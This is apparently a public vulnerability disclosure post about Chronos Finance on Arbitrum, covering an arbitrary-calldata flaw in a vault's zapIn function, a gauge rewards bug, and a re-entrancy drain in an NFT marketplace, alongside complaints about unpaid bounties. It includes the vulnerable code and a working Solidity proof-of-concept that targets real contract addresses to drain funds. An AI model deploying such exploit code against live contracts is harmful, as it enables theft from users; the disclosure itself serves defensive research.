# RAM-SEC: Chronos Finance, Multiple Disclosures ![](https://hackmd.io/_uploads/BJA7m1fhh.png) --- ## Table of Contents **1. Critical Arbitrary calldata (Payload) Execution 2. Gauges Not Mapping User's Earnings 3. PaintSwap's Disclosure for re-entrancy draining of the NFT Marketplace** --- ## Abstract The RAMSES and PaintSwap team have disclosed vulnerabilities for Chronos, of varying criticality. This document will outline the details of each, and provide a transparent look inside the Bounties and their resolutions. --- ## **[CRITICAL]** Arbitrary calldata (Payload) Execution On August 10th (UTC timezone), The Chronos team unveiled their CL pools, using Dyson as an in-house ALM. A few hours after the epoch flip, a RAMSES contributor had found a devastating exploit within the CL vaults. This exploit allowed users to pass any calldata imaginable through the `zapIn` function. ### The Fatal Error The reason this was possible is due to an oversight by the development team in regards to calling external contracts. In this case, the issue was that the vaults were passing calldata to be sent to 1Inch's aggregator to return the best price feeds for zapping-- however, users could pass ANY address as the "1Inch Router," thus allowing arbitrary calldata execution to any contract desired. Let's take a look at the vault we used as a POC: ` Dyson ChrV3 WETH/USDC.e 0.05% Vault` : `https://arbiscan.io/token/0x9a56f822babfbfdc2f25cb34eb952ff38af869d8#code` The vulnerable implementation: `https://arbiscan.io/address/0xd5d63e8f3544f84a713330437a4581c054c920d2#code` The explicit vulnerable code-block: ``` function zapIn( uint256 _tokenAmount, IERC20Upgradeable _token, bytes calldata _data, address _oneInchRouter ) external payable nonReentrant whenNotPaused { require(_oneInchRouter != address(0), "!oneInchRouter"); require(_tokenAmount > 0, "!amount"); if (!(_token.balanceOf(address(this)) >= _tokenAmount) && (_tokenAmount != 0)) _token.safeTransferFrom(msg.sender, address(this), _tokenAmount); console.log("_token.balanceOf(address(this))", _token.balanceOf(address(this))); _swapTokenVia1inch(_oneInchRouter, _token, _data); console.log("token0", token0.balanceOf(address(this))); console.log("token1", token1.balanceOf(address(this))); uint256 _liquidity = _refundUnused(false); uint256 shares = 0; if (totalSupply() == 0) { shares = _liquidity; } else { shares = (_liquidity * (totalSupply())) / (IControllerV7(controller).liquidityOf(address(pool))); } _mint(msg.sender, shares); earn(); emit ZapIn(msg.sender, _tokenAmount, _token, _data, _oneInchRouter); } ``` The problem lies in these two parameters in the function: `bytes calldata _data, address _oneInchRouter` A user can input any data for the `_data` field and any address for that data to be executed at in the `_oneInchRouter` field. An example of a payload you could pass to this function is such: ![](https://hackmd.io/_uploads/S1mZvzG22.png) `transferFrom(FROM, TO, AMOUNT)` in the picture above this is a user who had an infinite approval of weth to the vault, the encoded data would send these funds to the dead address. The bounty was submitted via ImmuneFi when first noticed, but was quickly denied as being "out-of-scope." ![](https://hackmd.io/_uploads/Sy90Ysznn.png) ### Proof of Concept Below is a simple Proof of Concept of how a user could have used a malicious payload to call the ControllerV7 contract to call withdraw() on a strategy, then proceed to drain the values with another arbitrary execution of payloads. ``` contract ChronosPOC { address public owner; address public constant CONTROLLERV7 = 0xF405585D4e958D94386D4CC0831Fb9baf9F6C2bF; address public constant POOL = 0xDbd06e0F411Ca93f80a34bB3cadbe91521A48bF2; IERC20 public constant weth = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1); IERC20 public constant USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8); IDysonChronosVault public vault; constructor(address _vault) { owner = msg.sender; vault = IDysonChronosVault(_vault); } function poc(uint256 _amount) external { require(msg.sender == owner, "!auth"); weth.transferFrom(msg.sender, address(vault), 0.00001 ether); USDC.transferFrom(msg.sender, address(vault), 1 *1e6); weth.approve(address(vault), 0.000001 ether); USDC.approve(address(vault), 1 * 1e6); bytes memory withdrawData = abi.encodeWithSignature( "withdraw(address,uint256)", POOL, _amount ); vault.zapIn(1000, address(weth), withdrawData, CONTROLLERV7); bytes memory transferData = abi.encodeWithSignature( "transfer(address, uint256)", owner, 10 ); vault.zapIn(1000, address(weth), transferData, CONTROLLERV7); } ``` --- ## Gauges Not Mapping User's Earnings - Epoch flip (August 3rd UTC) - Their new V2 upgrades had front-end problems and the team announced they were working on fixing these, assuring there were no backend issues. - Murmurs of people not receiving rewards, regarded as being possibly due to the front-end not working/not hooked up to the new contracts - I went ahead and imitated a user's address who was staked in one of the new gauges using the contracts directly, and noticed that they were receiving ``< 100 wei`` of rewards - I waited a little while and tried again, the user's rewards were static and not moving. At this point I figured there were some backend issues, not just front-end as was announced. - I picked apart the GaugeV2Proxy and dropped it into an IDE to closely examine it. I first looked at `earned()` function since that is where most rewarders of this type are drawing the rewards data from. ![](https://hackmd.io/_uploads/SyeUOofh3.png) ![](https://hackmd.io/_uploads/SJqDdjM3h.png) ![](https://hackmd.io/_uploads/r1XKdizn3.png) ![](https://hackmd.io/_uploads/ryV3dsfnn.png) ### After a delay of a few hours, and them upgrading their Gauge implementation for this specific contract: ![](https://hackmd.io/_uploads/Sy2ytoG32.png) ### Enlargened Diffcheck of the code they changed in their new implementation ![](https://hackmd.io/_uploads/Skk31Jzhh.png) **Before:** ![](https://hackmd.io/_uploads/HJ9R1Jf23.png) **After:** ![](https://hackmd.io/_uploads/SJhJgJGn3.png) ### The General Chat had some input from users asking about details of the resolution Here are some of the team's responses: ![](https://hackmd.io/_uploads/HJ6X5jz22.png) ![](https://hackmd.io/_uploads/H1985of22.png) ### After a few days, we were given a "low level" bounty for this disclosure of `1,000 USDC` ![](https://hackmd.io/_uploads/S1VG_jGn3.png) ![](https://hackmd.io/_uploads/ByNX_jf3n.png) ![](https://hackmd.io/_uploads/SJTmKoGh3.png) ### For comparison, here are their bribes for the recent Epoch ![](https://hackmd.io/_uploads/BkQKiiz32.png) ### **`20k USD in bribes in USDC.e`** --- ## PaintSwap's Disclosure of a Vulnerability In The Chronos Marketplace ### Told from the POV of Paintswap (With their permission) **PaintSwap Investigation of the Chronos Marketplace Contracts** When the Chronos fnft marketplace was released on 1st July 2023 our Lead Solidity Developer 0xSamWitch decided to look at it as he does with numerous marketplace contracts. Within a few minutes he had found many issues including a critical vulnerability which allowed an attacker to withdraw all funds from the contract! This was immediately reported to their team via a support ticket ![](https://hackmd.io/_uploads/Hy_vAzGhh.png) 3 days later! We got a response that the marketplace is in beta, no-where on the site does it say this. An audit was apparently being made within 10 days but **“We will obviously reward if the issue is mid-high-critical”** In the meantime a mock attack contract was prepared to confirm the suspicions and the contract was successfully attacked using a local forked version of the arbitrum blockchain, no live contracts were ever attacked by the PaintSwap team. ![](https://hackmd.io/_uploads/S1FF0fznh.png) After a bump we got a reply 2 days later for a critical issue!! ![](https://hackmd.io/_uploads/HkMiCGMhh.png) ![](https://hackmd.io/_uploads/SJniRzGhn.png) Where the critical exploit was: ![](https://hackmd.io/_uploads/rkx6CMG23.png) https://arbiscan.io/address/0x8fe795436a16ee3c1b6757b15ea8f6063e9dd581#code#F18#L698 A classic re-rentrancy when accepting an offer, safeTransferFrom in the standard ERC721 interface has a callback mechanism which means you can use the onERC721Received function in an exploiters contracts to re-renter this call, send back the nft to appease the start of the function defensive checks and then accept the offer again, doing this repeatedly drains the whole contract of all funds. The fix is to move the **_setOfferId()** function call above this, all contract functions should follow the Checks, Effect and Interactions pattern. By setting state after a re-entrancy vector it violates this principle. It was fixed 1 week later in this implementation https://arbiscan.io/address/0x77fd129e650a864da21ef9bfcf96d533049e781f#code You can diff those files to see all the changes that were made. I’m not sure they knew exactly where the issue was but we gave enough hints that they ended up slapping **nonReentrant** on all functions as a blanket way to catch everything even if it was not required which in itself is worrying too. Also noticed a few weeks later upgrading the marketplace contract to prevent other contracts calling a lot of the functions, this is a such a big web3 anti-pattern allowing EOAs only: **require(bidder == tx.origin, Errors.NOT_ALLOWED_CALL);** We were not notified that they fixed anything, we had to continuously prod and to this day we have received no bounty for our efforts despite them previously saying serious issues will be rewarded, nor did we get any recognition. We noticed there is still a severe vulnerability that remains in this marketplace contract, but we have no energy or inclination to write a report for this given how the more serious critical vulnerability was handled, so use at your own risk and 0xSamWitch is advising users to avoid any contracts developed by this team. We would have posted something sooner but have been busy building the world’s best web3 game Estfor Kingdom but given that the Ramses team have found other vulnerabilities we decided to expedite this report. ### No bounty was given/paid to the PaintSwap Contributors --- ## Conclusion Whitehats, especially those who disclose a vulnerability so openly, without a guarantee of payment, are the unsung heroes of the infosec landscape within DeFi. It is a project's **DUTY** to pay them an appropriate amount for their benevolence. Whitehats chose to be good people when they could take the alternative route and be black-hats. What is the sad reality of the space currently is that "Gray-Hats" are the only ones who actually get paid a respectable bounty for their work. Currently it's **"Hack, then ask for bounty."** As projects like Chronos are hesitant to pay a decent bounty... not even up-to-par of the bounty amounts listed on their ImmuneFi page. ![](https://hackmd.io/_uploads/S17lHsMh2.png) **Chronos hasn't updated their bounty ONCE since they went live, and thus most exploits/contracts are out-of-scope and instantly closed, even if a totally valid exploit.** This is why people, like myself, choose to go the informal route rather than going through ImmuneFi. ![](https://hackmd.io/_uploads/BkPBBiz2n.png) Their tiering of vulnerability payouts are very skewed and odd as well, not paying anything reasonable until the higher end of the critical spectrum, which is hard to achieve because it can almost always get negotiated down. ### Here are the two "incidents" which Chronos did not pay, or did not pay a reasonable amount: **1. PaintSwap's Disclosure** Result, **UNPAID** (they fixed the bug anyway with the advice) **2. Gauge Emissions Disclosure** Result, **PAID ($1,000 USD)** much lower than the average bounty on their immuneFi site, and nowhere near the amount of funds that were affected. ### As their team has the largest vote-share by a fair margin ![](https://hackmd.io/_uploads/H1mdlTM23.png) **They are able to return >$11k in bribes/fees weekly from votes** https://debank.com/profile/0x27DB5C0A09E1eEb2bF34ad3FFD920Fb44a6880d3 ![](https://hackmd.io/_uploads/rkT9gaMn3.png) **The above are their veCHR rewards for this past epoch.**